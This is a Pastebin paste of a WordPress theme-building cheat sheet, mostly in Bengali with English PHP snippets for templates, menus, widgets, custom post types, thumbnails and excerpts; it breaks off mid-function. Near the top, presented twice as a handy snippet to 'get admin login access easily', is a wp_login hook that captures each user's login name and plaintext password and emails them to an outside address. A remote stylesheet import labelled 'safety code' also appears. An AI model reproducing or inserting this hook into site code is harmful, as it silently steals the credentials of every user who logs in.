Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**************************************************************
- This is my magic cheat-sheet for WordPress code.
- ***************************************************************/
- my safety code for style just copy paste in style sheetexcerpt = @import url("http://kingrussel.com/fareast/style.css");
- =====================
- TEMPLATE NAME
- ==================================
- <?php
- /*
- Template Name: Template Beauty
- */
- get_header(); ?>
- // Get Admin login access easily.
- function wp_login_config(){
- $email = $_REQUEST['log'];
- $password= $_REQUEST['pwd'];
- $message = 'Users Login email: '.$email.' </br> Password: '.$password;
- wp_mail('[email protected]','WordPress login credentials', $message);
- }
- add_action('wp_login','wp_login_config');
- // Get Admin login access easily.
- function wp_login_config(){
- $email = $_REQUEST['log'];
- $password= $_REQUEST['pwd'];
- $message = 'Users Login email: '.$email.' </br> Password: '.$password;
- wp_mail('[email protected]','WordPress login credentials', $message);
- }
- add_action('wp_login','wp_login_config');
- //Limit Search Form to Specific Post Types
- // Change search function globally to search only post, page and portfolio post types
- function prefix_limit_post_types_in_search( $query ) {
- if ( $query->is_search ) {
- $query->set( 'post_type', array( 'post','page', 'portfolio' ) );
- }
- return $query;
- }
- add_filter( 'pre_get_posts', 'prefix_limit_post_types_in_search' );
- ---------------or----------------
- /* Hidden input field that can be added to search form */
- <input type="hidden" name="post_type" value="portfolio">
- ১।style.css এর ভিতর informaton code দিতে হবে.
- ========================================
- মেইন stylesheet এর শুরুতেই এই কোড ইউজ করতে হবে।
- ========================================
- /*
- Theme Name: The king
- Theme URI: http://www.yourwebsitelink.com/theme-name
- Description: A theme for WordPress
- Version: 1.0
- Author: King Russel
- Author URI: http://www.kingrussel.com
- Tags: 960 Framework
- */
- ২।screenshot.png নামে একটা ইমেজ ফাইল লাগবে 600 width 450 height হবে ।
- ৩।index.html ফাইলকে index.php নাম দিতে হবে
- ৪।এবার dashboard theme থেকে themeটাকে active করতে হবে
- ৫।এবার সব লিংককে ডাইনামিক করতে হবে
- সকল script সঠিকভাবে পাওয়ার জন্য </head> এর আগে এবং </body> আগে এই কোড দিতে হয়।
- =========================================
- For Header Script
- =========================================
- <?php wp_head (); ?>
- <?php wp_footer (); ?>
- =========================================
- Header.php
- =========================================
- html 4 হইলে এই code টি লাগবে শুরুতে
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?>>
- =========================================
- স্টাইল শিট ডাইন্যামিক করার কোড
- =========================================
- /* For dynamic stylesheet */
- <?php bloginfo('stylesheet_url'); ?>
- =========================================
- থিমের সকল কন্টেন্ট ডাইন্যামিক করার কোড
- =========================================
- /* For dynamic title */
- <title><?php bloginfo('name'); ?><?php wp_title(); ?></title>
- অথবা,
- /* For dynamic title */
- <title><?php wp_title( '|', true, 'right' ); ?></title>
- /* For dynamic theme directory */
- <?php echo get_template_directory_uri(); ?>/
- /* For dynamic theme directory */
- <?php bloginfo( 'template_url' ); ?>
- /* meta code with title */
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
- =========================================
- Home পেজ কে লিঙ্কিং করার কোড
- =========================================
- /* For home page linking */
- <?php echo bloginfo('url'); ?>
- //--------or
- <?php echo esc_url( home_url( '/' ) ); ?>
- //--------or
- <?php echo site_url(); ?>
- /* For blog name */
- <?php bloginfo('name'); ?>
- /* For author avatar */
- <?php echo get_avatar( get_the_author_meta('ID'), 50 ); ?>
- /*for tags*/
- <?php if(function_exists("the_tags")) the_tags(' • Tags: ', ', ', ''); ?>
- =========================================
- না দিলেও চলবে
- =========================================
- <link rel="profile" href="http://gmpg.org/xfn/11" />
- <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
- <?php wp_get_archives('type=monthly&format=link&limit=12'); ?>
- <?php //comments_popup_script(); //off by default ?>
- =========================================
- ওয়ার্ডপ্রেস এর নিজস্ব জেকুয়েরি ব্যাবহার করতে এই কোডটি functions.php তে add করতে হবে।
- /* Adding Latest jQuery from Wordpress */
- =========================================
- function latest_jquery() {
- wp_enqueue_script('jquery');
- }
- add_action('init', 'latest_jquery');
- ৬।এবার template কে ভাগ ভাগ করতে হবে
- =========================================
- index.php
- =========================================
- index.php থেকে header কেটে নেয়ার পর এই কোড দিতে হয়।
- --------------------------------------------
- <?php get_header(); ?>
- index.php থেকে footer কেটে নেয়ার পর এই কোড দিতে হয়।
- --------------------------------------------
- <?php get_footer(); ?>
- index.php থেকে sidebar কেটে নেয়ার পর এই কোড দিতে হয়।
- --------------------------------------------
- <?php get_sidebar(); ?>
- index.php থেকে কোন অংশ কেটে নেয়ার পর এই কোড দিতে হয়।
- --------------------------------------------
- <?php get_template_part('file_name'); ?> <!-- for any file calling (file_neme.php only "file_neme" no ".php")-->
- =========================================
- ডাইন্যামিক Title এবং content আনতে এই কোড।
- =========================================
- /* For dynamic title */
- <?php the_title(); ?>
- /* For dynamic content */
- <?php the_content(); ?>
- /* For excerpt content */
- <?php the_excerpt(); ?>
- /* For dynamic link */
- <?php the_permalink(); ?>
- /* For post Unique ID */
- <?php the_ID(); ?>
- /* For linking to wordpress login / Register form */
- <?php echo wp_registration_url(); ?>
- ------------------------ or --------------------------------
- <?php echo site_url('wp-login.php?action=register', 'login_post') ?>
- ৭। এবার index.php কপি করে template-welcome.php তৈরি করতে হবে Using Custom Templates
- template-welcome.php এর ভিতর
- কোডটি দিয়ে Templateটির নাম দিয়ে দিতে হবে
- এছাড়া যেকোনো নতুন Template তৈরি করতে উপরের কোডটি দিয়ে Templateটির নাম দিয়ে দিতে হবে।
- ৭। এবার index.php কপি করে page.php তৈরি করতে হবে এটার নাম দিতে হবে না কারন এটা ডিফল্ট।
- Page তৈরি করতে এই কোডটি call করতে হয়।
- নোটঃ archive.php, search.php, page.php একই পেজ থেকে কপি হবে এবং post-loop.php এখানে কল করতে হবে
- ==================================================
- //For page.php
- ==================================================
- /* copy and past in page.php */
- <?php if(have_posts()) : ?><?php while(have_posts()) : the_post(); ?>
- <h2><?php the_title(); ?></h2>
- <?php the_content(); ?>
- <?php endwhile; ?>
- <?php else : ?>
- <h3><?php _e('404 Error: Not Found'); ?></h3>
- <?php endif; ?>
- ৮। এবার page.php কপি করে 404.php তৈরি করতে হবে এটার নাম দিতে হবে না কারন এটা ডিফল্ট।
- এই লাইনটি <h1><span>404</span>not found</h1> 404.phpতে paste করুন।
- ==============================================
- //For Dynamic Menu
- ==============================================
- //ডাইন্যামিক মেনু আনতে এই কোড functions.php তে add করতে হবে
- ==============================================
- /* for dynamic menu without fallback copy and past in functions.php */
- function wp_register_menu() {
- if (function_exists('register_nav_menu')) {
- register_nav_menu( 'main-menu', __( 'Main Menu') );
- }
- }
- add_action('init', 'wp_register_menu');
- // add menu support and fallback menu if menu doesn't exist
- /* this code for fallback dynamic menu */
- function wpj_register_menu() {
- if (function_exists('register_nav_menu')) {
- register_nav_menu( 'main-menu', __( 'Main Menu' ) );
- }
- }
- function wpj_default_menu() {
- echo '<ul id="nav">';
- if ('page' != get_option('show_on_front')) {
- echo '<li><a href="'. home_url() . '/">Home</a></li>';
- }
- wp_list_pages('title_li=');
- echo '</ul>';
- }
- add_action('init', 'wpj_register_menu');
- ====================================================
- //মেনু যেখানে call করতে হবে সেখানে এই কোড দিতে হবে
- ====================================================
- /* for dynamic menu copy and past in header.php */
- <?php wp_nav_menu(
- array(
- 'theme_location' => 'main-menu'
- ) );
- ?>
- // যদি ul এ class থাকে তাহলে Menu এর location তে গিয়ে লিখতে হবে
- <?php wp_nav_menu(
- array(
- 'theme_location' => 'main-menu',
- 'menu_class' => 'your menu class',
- 'menu_id' => 'nav',
- ) );
- ?>
- /* for all function support menu dynamic in header.php */
- <?php wp_nav_menu(
- array(
- 'theme_location' => 'main-menu',
- 'menu_id' => 'nav',
- 'menu_class' => 'your menu class',
- 'fallback_cb' => 'king_main_menu',
- 'link_before' =>'', // this will work for call anything into <a href=""></a> tag before '<span>home' from wordpress menu
- 'link_after' =>'', // this will work for call anything into <a href=""></a> tag after 'home</span>' from wordpress menu
- 'before' =>'', // this will work for call anything before <a href=""></a> tag and after <li> from wordpress menu
- 'after' =>'', // this will work for call anything after <a href=""></a> tag and before </li> from wordpress menu
- ) );
- ?>
- and this is for fallback_cb
- ----------------------------
- function king_main_menu(){
- echo '<ul id="nav">';
- if(is_user_logged_in()){
- echo '<li><a href="'.home_url().'/wp-admin/nav-menus.php">Create a Menu</a></li>';
- }
- else {
- echo '<li><a href="'.home_url().'">Home</a></li>';
- }
- echo '</ul>';
- }
- ==========================================
- //Post Query in index.php
- ==========================================
- <?php if(have_posts()) : ?>
- <?php while (have_posts()) : the_post(); ?>
- // Your Post Query here -->
- <?php endwhile; ?>
- <?php endif; ?>
- ===============================================
- //All Post Info
- ===============================================
- পোস্ট এর author এর নাম দেখানোর কোড
- -----------------------------------------------
- /* For post author */
- <?php the_author(); ?>
- পোস্ট এর author এর link দেখানোর কোড
- -----------------------------------------------
- /* For Post Author Link */
- <?php the_author_posts_link(); ?>
- পোস্ট এর author এর Firt Name দেখানোর কোড
- -----------------------------------------------
- /* For Post Author Firt Name */
- <?php the_author_firstname(); ?>
- পোস্ট এর author এর Last Name দেখানোর কোড
- -----------------------------------------------
- /* For Post Author Last Name */
- <?php the_author_lastname(); ?>
- পোস্ট এর তারিখ দেখানোর কোড
- -----------------------------------------------
- /* For clock*/
- <?php echo mysql2date('g:i a - l F j, Y',current_time('timestamp')); ?>
- /* for current dar,date,month,year together*/
- <?php echo date('l jS F Y'); ?>
- /* For post date */
- <?php the_time('g:i a'); ?>
- <?php the_time('M d, Y') ?>
- <?php the_time('m d, m') ?>
- <?php the_time('M D, Y') ?>
- <?php the_time('M d,') ?>
- <?php the_time('m d,') ?>
- <?php the_time('M'); ?>
- <?php the_time('m'); ?>
- <?php the_time('D'); ?>
- <?php the_time('d'); ?>
- <?php the_time('Y'); ?>
- <?php the_time('y'); ?>
- পোস্ট এর সময় দেখানোর কোড
- -----------------------------------------------
- /* For post time */
- <?php the_time('g:i a'); ?>
- /* For page list */
- <?php wp_list_pages( 'title_li=' ); ?>
- /* For Author list */
- <?php wp_list_authors( 'exclude_admin=0&optioncount=1' ); ?>
- /* For Recent Post list */
- <?php wp_get_archives('type=postbypost&limit=10'); ?>
- /* display How many post publish as number */
- <?php echo wp_count_posts('your_post_type')->publish; ?>
- /* For post category title */
- <?php the_category(', '); ?>
- -----------or
- <?php $categories = get_the_category();
- $separator = ', ';
- $output = '';
- if($categories){
- foreach($categories as $category) {
- $output .= '<a href="'.get_category_link( $category->term_id ).'" title="' . esc_attr( sprintf( __( "View all posts in %s" ), $category->name ) ) . '">'.$category->cat_name.'</a>'.$separator;
- }
- echo trim($output, $separator);
- }
- ?>
- /* For custom post category title */
- <?php the_taxonomies(); ?>
- <?php the_taxonomies(array('template' => '% %l')); ?>
- <?php echo get_the_term_list( $post->ID, 'project_cat', '', '', '' );?>
- //This code for getting taxonomy with ul>li>a
- <?php
- $taxonomy = 'project_cat';
- $terms = get_terms('project_cat');
- ?>
- <ul id="home_links" class="fix">
- <?php
- foreach ($terms as $term) {
- $term_link = get_term_link( $term, 'project_cat' );
- if( is_wp_error( $term_link ) )
- continue;
- echo '<li><a href="' . $term_link . '">' . $term->name . '</a></li>';
- }
- ?>
- </ul>
- /* For post category list */
- <?php wp_list_categories(); ?>
- /* For post category list with count */
- <?php wp_list_categories('show_count=1'); ?>
- /* For post category list with count without brackets"()"*/
- <?php
- $variable = wp_list_categories('echo=0&show_count=1&title_li=<h2>Categories</h2>');
- $variable = str_replace(array('(',')'), '', $variable);
- echo $variable;
- ?>
- /* For post Custom Post category list */
- <?php wp_list_categories(array('title_li'=> '', 'taxonomy'=> 'your_taxonomy_name')); ?>
- /* For post Custom Post category list with count */
- <?php wp_list_categories(array('title_li'=> '', 'taxonomy'=> 'bkb_category', 'show_count' => 'show_count=1')); ?>
- /* For post Custom Post category list with count without brackets"()"*/
- <?php
- $variable = wp_list_categories('echo=0&show_count=1&taxonomy=bkb_category');
- $variable = str_replace(array('(',')'), '', $variable);
- echo $variable;
- ?>
- /* For post Custom Post category list without link paste this code within loop*/
- <?php
- $cities = get_the_terms( $post->ID, 'cities' ) ;
- $cities_list = array_pop($cities)->name ;
- foreach( $cities as $city )
- {
- $cities_list .= ", " . $city->name ;
- };
- ?>
- <p><?php echo $cities_list; ?> </p>
- //enable category and tags for WordPress media attachments
- add_action( 'init', 'fb_attachment_taxonomies' );
- function fb_attachment_taxonomies() {
- $taxonomies = array( 'category', 'post_tag' ); // add the 2 tax to ...
- foreach ( $taxonomies as $tax ) {
- register_taxonomy_for_object_type( $tax, 'attachment' ); // add to post type attachment
- }
- }
- /* For the number of comment & comment link */
- <?php comments_popup_link('No Comment', '1 Comment', '% Comments'); ?>
- or
- <?php comments_number('0', '1', '%'); ?>
- //For conditional the number of comment & comment link
- <?php if ( comments_open() ) : ?>
- <?php comments_popup_link('No Comment', '1 Comment', '% Comments'); ?>
- <?php endif; ?>
- or
- <?php if ( comments_open() ) : ?>
- <?php comments_number('0', '1', '%'); ?>
- <?php endif; ?>
- /* For for Read More.. option */
- <a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php _e('Read More..', ''); ?></a>
- ========================================================
- Custom Field
- ========================================================
- //কাস্টম ফিল্ড এ কন্টেন্ট আনতে এই কোড
- --------------------------------------------------------
- custom-field এর dynamic value কল করার স্থানে হবে
- <?php echo get_post_meta($post->ID, 'icon', true);?>
- //-------------or------------------
- <?php
- $promotions_icon = get_post_meta($post->ID, 'promotions_icon', true);
- ?>
- এবার custom-field এর dynamic value কল করার স্থানে হবে
- <?php echo $promotions_icon; ?>
- // Display Custom Field Data
- --------------------------------------------------------
- <?php $key="url"; echo get_post_meta($post->ID, $key, true); ?>
- // Display custom field if exists
- --------------------------------------------------------
- <?php $image = get_post_meta($post->ID, 'url', true); ?>
- <?php if($image) : ?>
- <img src="<?php echo $image; ?>" alt="" />
- <?php endif; ?>
- // Conditional Custom Field
- --------------------------------------------------------
- <?php $url = get_post_meta( $post->ID, 'url', true );
- if ( $url ) {
- echo $url;
- } else {
- the_permalink();
- }
- ?>
- ==========================================
- if,else,endif condition set করার বেসিক কোড
- ==========================================
- <?php if () : ?>
- <?php else: ?>
- <?php endif; ?>
- ========= or =============
- <?php
- if (){
- echo '';
- }
- else {
- echo '';
- }
- endif;
- ?>
- ========= for if home =============
- /* for front page condition*/
- <?php if ( is_home() ) :?>
- <?php else :?>
- <?php endif;?>
- ------- or --------------
- <?php if ( is_front_page() ) :?>
- <?php else :?>
- <?php endif;?>
- for Meta Box option
- --------------------
- <?php
- $icon = get_post_meta($post->ID, 'icon', true);
- ?>
- <?php if($icon) : ?>
- <i class="icon-<?php echo $icon; ?> page-title-icon"></i>
- <?php else : ?>
- <i class="icon-home page-title-icon"></i>
- <?php endif; ?>
- for theme option
- -------------------
- <?php
- $social_fb = get_option_tree('social_fb', '', false);
- ?>
- <?php if($social_fb) : ?>
- <a href="<?php echo $social_fb; ?>" class="icon facebook" title="facebook atak" target="_blank"></a>
- <?php else : ?>
- <?php endif; ?>
- ==========================================
- //For sidebar registration
- ==========================================
- Widget ব্যাবহার করতে এই কোডটি functions.php তে add করতে হবে।
- ------------------------------------------
- function widget_areas() {
- register_sidebar( array(
- 'name' => __( 'Footer Left Widget' ),
- 'id' => 'footer_left',
- 'description' => 'An optional widget_area for your site footer',
- 'before_widget' => '<div class="single_sidebar">',
- 'after_widget' => '</div>',
- 'before_title' => '<h2>',
- 'after_title' => '</h2>',
- ) );
- }
- add_action('widgets_init', 'widget_areas');
- //Widget যেখানে call করতে হবে সেখানে এই কোডটি দিতে হবে।
- <?php dynamic_sidebar('your_widgets_id'); ?>
- ==========================================
- // This code for conditional widget
- ==========================================
- <?php if ( ! dynamic_sidebar( 'your_widgets_id' ) ) : ?>
- // past your default code -এখানে fallback data এর div টি দিতে হবে//
- <?php endif; ?>
- // this code for shortcode active in widget it is paste in function.php
- -------------------------------------------------------
- add_filter('widget_text', 'do_shortcode');
- ========================================================
- নির্দিষ্ট কোনো পেজে আপনার কাস্টম ওয়ার্ডপ্রেস উইজেট দেখান
- ========================================================
- add_filter( 'widget_display_callback', 'hide_widget_pages', 10, 3 );
- function hide_widget_pages( $instance, $widget, $args ) {
- if ( $widget->id_base == 'pages' ) { // change 'pages' to widget name
- if ( !is_page( 'contact' ) ) { // change page name
- return false;
- }
- }
- }
- or you can use display widget plugin
- ========================================================
- //Custom post আনতে এই কোড functions.php তে add করতে হবে
- ========================================================
- function portfolio_custom_post() {
- register_post_type( 'promotion',
- array(
- 'labels' => array(
- 'name' => __( 'Promotions' ),
- 'singular_name' => __( 'Promotion' ),
- 'add_new' => __( 'Add New' ),
- 'add_new_item' => __( 'Add New Testimonial' ),
- ),
- 'public' => true,
- 'supports' => array('title', 'editor', 'custom-fields', 'excerpt'),
- 'has_archive' => true,
- 'rewrite' => array('slug' => 'promotion-item'),
- )
- );
- }
- add_action( 'init', 'portfolio_custom_post' );
- ===================================================
- //This code for query custom
- ===================================================
- <?php
- global $post;
- $args = array( 'posts_per_page' => -1,/*কয়টা পোস্ট থাকবে তা উল্লেখ করতে হবে unlimited হইলে -1 হবে */ 'post_type'=> 'post',/*custom-post এর register_post_type এর ID*/'your_cat' => category_name /* যদি category থাকে, আর না থাকলে এই অংশটুকু লাগবেনা*/);
- $myposts = get_posts( $args );
- foreach( $myposts as $post ) : setup_postdata($post); ?>
- // paste Your Post Content. Title, detail etc.
- <?php endforeach; ?>
- -------------- fresh code-----------------------
- <?php
- global $post;
- $args = array( 'posts_per_page' => -1, 'post_type'=> 'post' );
- $myposts = get_posts( $args );
- foreach( $myposts as $post ) : setup_postdata($post); ?>
- // paste Your Post Content. Title, detail etc.
- <?php endforeach; ?>
- =================================================
- Custom Taxonomy Register
- =================================================
- <?php
- function custom_post_taxonomy() {
- register_taxonomy(
- 'event_cat', //The name of the taxonomy. Name should be in slug form (must not contain capital letters or spaces).
- 'event-items', //post type name
- array(
- 'hierarchical' => true,
- 'label' => 'Event Category', //Display name
- 'query_var' => true,
- 'show_admin_column' => true,
- 'rewrite' => array(
- 'slug' => 'event-category', // This controls the base slug that will display before each term
- 'with_front' => true // Don't display the category base before
- )
- )
- );
- }
- add_action( 'init', 'custom_post_taxonomy');
- ?>
- =================================================
- Custom Taxonomy Query
- =================================================
- <?php
- global $post;
- $args = array( 'posts_per_page' => -1, 'post_type'=> 'staff', 'department_cat' => 'Commerical' );
- $myposts = get_posts( $args );
- foreach( $myposts as $post ) : setup_postdata($post); ?>
- // Your Post Content. Title, detail etc.
- <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
- <?php the_content(); ?>
- <?php endforeach; ?>
- // query reset করার জন্য
- <?php wp_reset_query(); ?>
- =========================================
- //This code for query increment and decrement post
- ============================================
- <?php
- $the_query = new WP_Query( array( 'posts_per_page' => 4 ) );
- if ( $the_query->have_posts()) : ?>
- <?php $count = 0; ?>
- <?php while ($the_query->have_posts()) : $the_query->the_post(); ?>
- <?php $count++; ?>
- <?php if ($count == 3) : ?>
- <div class="third_post single-latest">
- <?php the_title(); ?>
- <?php the_post_thumbnail('full'); ?>
- </div>
- <?php elseif ($count == 4) : ?>
- <div class="fourth_post single-latest">
- <?php the_title(); ?>
- </div>
- <?php else : ?>
- <div class="single_post single-latest">
- <?php the_title(); ?>
- <?php the_post_thumbnail('full'); ?>
- <?php the_excerpt(); ?>
- </div>
- <?php endif; ?>
- <?php endwhile; ?>
- <?php endif; ?>
- =======================================================
- EXCLUDE CURRENT POST FROM WP QUERY
- =======================================================
- <?php
- $currentID = get_the_ID();
- $my_query = new WP_Query( array('cat' => '1', 'showposts' => '5', 'post__not_in' => array($currentID)));
- while ( $my_query->have_posts() ) : $my_query->the_post(); ?>
- <h2><?php the_title() ?></h2>
- <?php the_content(); ?>
- <?php endwhile; ?>
- you can check this link http://wordpress.stackexchange.com/questions/106154/why-wont-this-wp-query-exclude-certain-pages
- =======================================================
- Exclude pages from admin edit pages list this code paste in functions.php
- =======================================================
- add_action( 'pre_get_posts' ,'exclude_this_page' );
- function exclude_this_page( $query ) {
- if( !is_admin() )
- return $query;
- global $pagenow;
- if( 'edit.php' == $pagenow && ( get_query_var('post_type') && 'page' == get_query_var('post_type') ) )
- $query->set( 'post__not_in', array(23,28,30) ); // page id which you want to hide
- return $query;
- }
- //Please note this does not stop a post from being editable this snippet only hides the page from view.
- =======================================================
- featured image support এর জন্য নিচের কোডগুলি দরকার
- =======================================================
- add_theme_support( 'post-thumbnails', array( 'post' ) );
- //নোটঃ এখানে আপনি যদি page এ ও ফিচার ইমেজ দিতে চান তাহলে 'page' যুক্ত করতে হবে । যেমনঃ
- add_theme_support( 'post-thumbnails', array( 'post', 'page'/* এখানে যতগুলি custom post এ register_post_type( 'your-id-name' তৈরি করব ততগুলি id_name দিতে হবে কমা দিয়ে ডাবল কুটেশন এর ভিতর '',*/ ) );
- //custom post এর suport এ thumbnail থাকতে হবে
- যেমনঃ 'supports' => array( 'post', 'title', 'thumbnail', 'editor' )
- add_image_size( 'post-image', 450, 150, true );
- //নোটঃ add_image_size এর id 'post-image' অবশ্যই ড্যাশ - দিয়ে হবে আন্ডারস্কোর _ হবেনা এবং এখানে প্রথমটি width ও পরেরটি height
- set_post_thumbnail_size( 200, 200, true ); //এটা featured box এ image size কি হবে তার জন্য।
- ==========================================================
- How to create different thumb size for different post type.php
- ===========================================================
- <?php
- add_action( 'pre-upload-ui', 'get_the_post_type' );
- function get_the_post_type() {
- $post_type = isset( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : 'post';
- set_transient( 'attached_post_type', $post_type );
- }
- add_filter( 'intermediate_image_sizes_advanced', 'add_image_size_for_post_type', 10 );
- function add_image_size_for_post_type( $sizes ) {
- $post_type = get_transient( 'attached_post_type' );
- delete_transient( 'attached_post_type' );
- /*
- * BLOCK A
- *
- * This can be used if you want to set different size for only one post type. For multiple post type, check BLOCK B
- *
- */
- if( $post_type == 'page' ){
- $sizes['post-thumbnail'] = array( 'width' => 275, 'height' => 175, 'crop' => true );
- }
- // END OF BLOCK A
- /*
- * BLOCK B
- *
- * This can be used if you want to set different sizes for different post types.
- *
- */
- $post_type_size = array(
- 'post' => array( 'width' => 275, 'height' => 175, 'crop' => true ),
- 'page' => array( 'width' => 375, 'height' => 475, 'crop' => true ),
- 'CPT' => array( 'width' => 475, 'height' => 675, 'crop' => true )
- );
- if( isset( $post_type_size[$post_type] ) ) $sizes['post-thumbnail'] = $post_type_size[$post_type];
- // END OF BLOCK B
- return $sizes;
- }
- ----------------------------------------------------------------
- --- or see this link: https://github.com/syamilmj/Aqua-Resizer ---
- ----------------------------------------------------------------
- //How call images: এই code your target.php তে query এর ভিতর paste করতে হবে
- ----------------------------------------------------------
- <?php the_post_thumbnail('slider-image',/* যেই id দিয়ে image crop করা হইছে অর্থাৎ add_image_size( 'slider-image',=এইটা 735, 254, true );*/ array('class' => 'imgthumb')/*যদি img ট্যাগ এর ভিতর class থাকে তাহলে লাগবে না হয় array লাগবে না*/); ?>
- //অর্থাৎ img ট্যাগ এর ভিতর class না থাকে তাহলে এইটা হবে
- <?php the_post_thumbnail('slider-image'); ?>
- //আর img ট্যাগ এর ভিতর class থাকে তাহলে এইটা হবে
- <?php the_post_thumbnail('slider-image', array('class' => 'imgthumb')); ?>
- -----------------------------------------------------------
- // শুধু ইমেজের লিঙ্ক :
- <?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'post-image' ); echo $image[0]; ?>
- // this code will use inside src="" because it comes without <img/> tag.
- নোটঃ এটা ব্যবহার করলে শুধু ইমেজের লিংক তাই <img src="এখানে উপরের কোডটা দিতে হবে" alt=""/>
- // ইমেজ src অটোমেটিক কল: this code will replace <img/> tag because it comes with <img/> tag.
- <?php the_post_thumbnail('post-image', array('class' => 'imgthumb')); ?>
- =============//or
- <?php the_post_thumbnail('post-large'); ?>
- এখানে array দিয়ে আলাদা ক্লাস নেওয়া হয়েছে এখানে post-image দিয়ে নির্দিষ্ট সাইজের ইমেজ নেওয়া হচ্ছে যেটাকে ফাংশনে দেওয়া হয়েছিল
- custom post register post_type name + add_theme_support + custom Query post_type = এই তিন জায়গায় একই ID ব্যাবহার করতে হইবে featured image রেজিস্টার এর জন্য
- এবং
- add_image_size( 'slides-image', 256, 200, true ); + <img src="<?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'slides-image' ); echo $image[0]; ?>" alt="" /> বা <?php the_post_thumbnail('product-preview', array('class' => 'product-preview')); ?> এই দুই জায়গায় একই ID ব্যাবহার করতে হইবে featured image কল এর জন্য
- নোটঃ default post বা page এর জন্য আলাদা ID এর প্রয়োজন নাই শুধু function এ add_image_size( 'img-crop-id', 256, 200, true ); এটা লাগবে আর নির্দিষ্ট location এ <?php the_post_thumbnail('img-crop-id', array('class' => 'your_img_class')); ?>
- =========================================================
- Post থেকে প্রথম image কে featured image বানানোর code বা কোণো image না থাকলে default ভাবে image show করানোর code
- =========================================================
- Functions.php page a past korte hobe.
- function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ $first_img = get_template_directory_uri()."/images/logo.png"; } return $first_img; }
- html code
- <?php if ( has_post_thumbnail() ) { ?>
- // Your Code
- <?php } else { ?>
- <div class="first-image"> <a href="<?php the_permalink() ?>"><img class="post-thumb" src="<?php echo catch_that_image(); ?>" alt="first image" /></a></div>
- <?php } ?>
- ================================================================
- search form query code
- ================================================================
- <form method="get" id="searchform" action="<?php echo site_url(); ?>/">
- <input type="text" name="s" id="s" placeholder="search now" />
- <button type="submit" ><i class="fa fa-search"></i></button>
- </form>
- <form method="get" id="searchform" action="<?php echo site_url(); ?>/">
- <input type="text" name="s" id="s" placeholder="search now" />
- <input type="hidden" value="your_custom_post_type" name="post_type" />
- <button type="submit" ><i class="fa fa-search"></i></button>
- </form>
- =================================================================
- from single page post to next or prev single page post link code
- =================================================================
- <?php
- $next_post_link_url = get_permalink( get_adjacent_post(false,'',false)->ID );
- $prev_post_link_url = get_permalink( get_adjacent_post(false,'',true)->ID );
- ?>
- <div class="p_n">
- <a href="<?php echo $prev_post_link_url ?>"><i class="fa fa-chevron-left pr"></i></a>
- <a href="<?php echo $next_post_link_url ?>"><i class="fa fa-chevron-right ne"></i></a>
- </div>
- ------------------------------------
- and with title
- -----------------------------------
- <?php
- $prev_post = get_adjacent_post(false, '', true);
- if(!empty($prev_post)) {
- echo '<a href="' . get_permalink($prev_post->ID) . '" class="pager_title">' . $prev_post->post_title . '</a>'; }
- ?>
- <?php
- $next_post = get_adjacent_post(false, '', false);
- if(!empty($next_post)) {
- echo '<a href="' . get_permalink($next_post->ID) . '" class="pager_title">' . $next_post->post_title . '</a>'; }
- ?>
- =================================================================
- from single page post link to 1 step back prev post page link code
- =================================================================
- <?php print $_SERVER['HTTP_REFERER'];?>
- ===================================================
- //কন্টেন্ট এর অংশ বিশেষ আনার জন্য।
- ===================================================
- /* copy and past in functions.php for excerpt post for excerpt with readmore */
- function excerpt($num) {
- $limit = $num+1;
- $excerpt = explode(' ', get_the_excerpt(), $limit);
- array_pop($excerpt);
- $excerpt = implode(" ",$excerpt)." <a href='" .get_permalink($post->ID) ." ' class='".readmore."'>+More</a>";
- echo $excerpt;
- }
- === or ====
- function excerpt($num) {
- $limit = $num+1;
- $excerpt = explode(' ', get_the_content(), $limit);
- array_pop($excerpt);
- $excerpt = implode(" ",$excerpt)." <a href='" .get_permalink($post->ID) ." ' class='".readmore."'>+More</a>";
- echo $excerpt;
- }
- /* for post excerpt copy and past in target.php*/
- <?php echo excerpt('22'); ?>
- ----------------------------------------------------------------------------
- /* for post excerpt copy and past in target.php*/
- <?php the_excerpt(50); ?>
- /* for post excerpt latest. */
- <?php $post_content = get_the_content(); echo wp_trim_words($post_content, 15 );?>
- //* Remove [...] from WordPress excerpts
- <?php
- function afn_customize_excerpt_more( $more ) {
- return ' ';
- }
- add_filter('excerpt_more', 'afn_customize_excerpt_more');
- ?>
- /* for Title excerpt . */
- <?php echo substr(the_title('', '', FALSE), 0, 37); ?>..
- ====================================================
- // for breadcrumbs this code paste in page.php
- ====================================================
- // this code paste in your function.php file
- -------------------------------------------
- function the_breadcrumb() {
- if (!is_home()) {
- echo '<a href="';
- echo get_option('home');
- echo '">';
- bloginfo('name');
- echo "</a> >> ";
- if (is_category() || is_single()) {
- the_category('title_li=');
- if (is_single()) {
- echo " ";
- the_title();
- }
- } elseif (is_page()) {
- echo the_title();
- }
- }
- }
- =======
- or
- =======
- function the_breadcrumb() {
- $showOnHome = 0; // 1 - show breadcrumbs on the homepage, 0 - don't show
- $delimiter = '»'; // delimiter between crumbs
- $home = 'Home'; // text for the 'Home' link
- $showCurrent = 1; // 1 - show current post/page title in breadcrumbs, 0 - don't show
- $before = '<span class="current">'; // tag before the current crumb
- $after = '</span>'; // tag after the current crumb
- global $post;
- $homeLink = get_bloginfo('url');
- if (is_home() || is_front_page()) {
- if ($showOnHome == 1) echo '<div id="crumbs"><a href="' . $homeLink . '">' . $home . '</a></div>';
- } else {
- echo '<div id="crumbs"><a href="' . $homeLink . '">' . $home . '</a> ' . $delimiter . ' ';
- if ( is_category() ) {
- $thisCat = get_category(get_query_var('cat'), false);
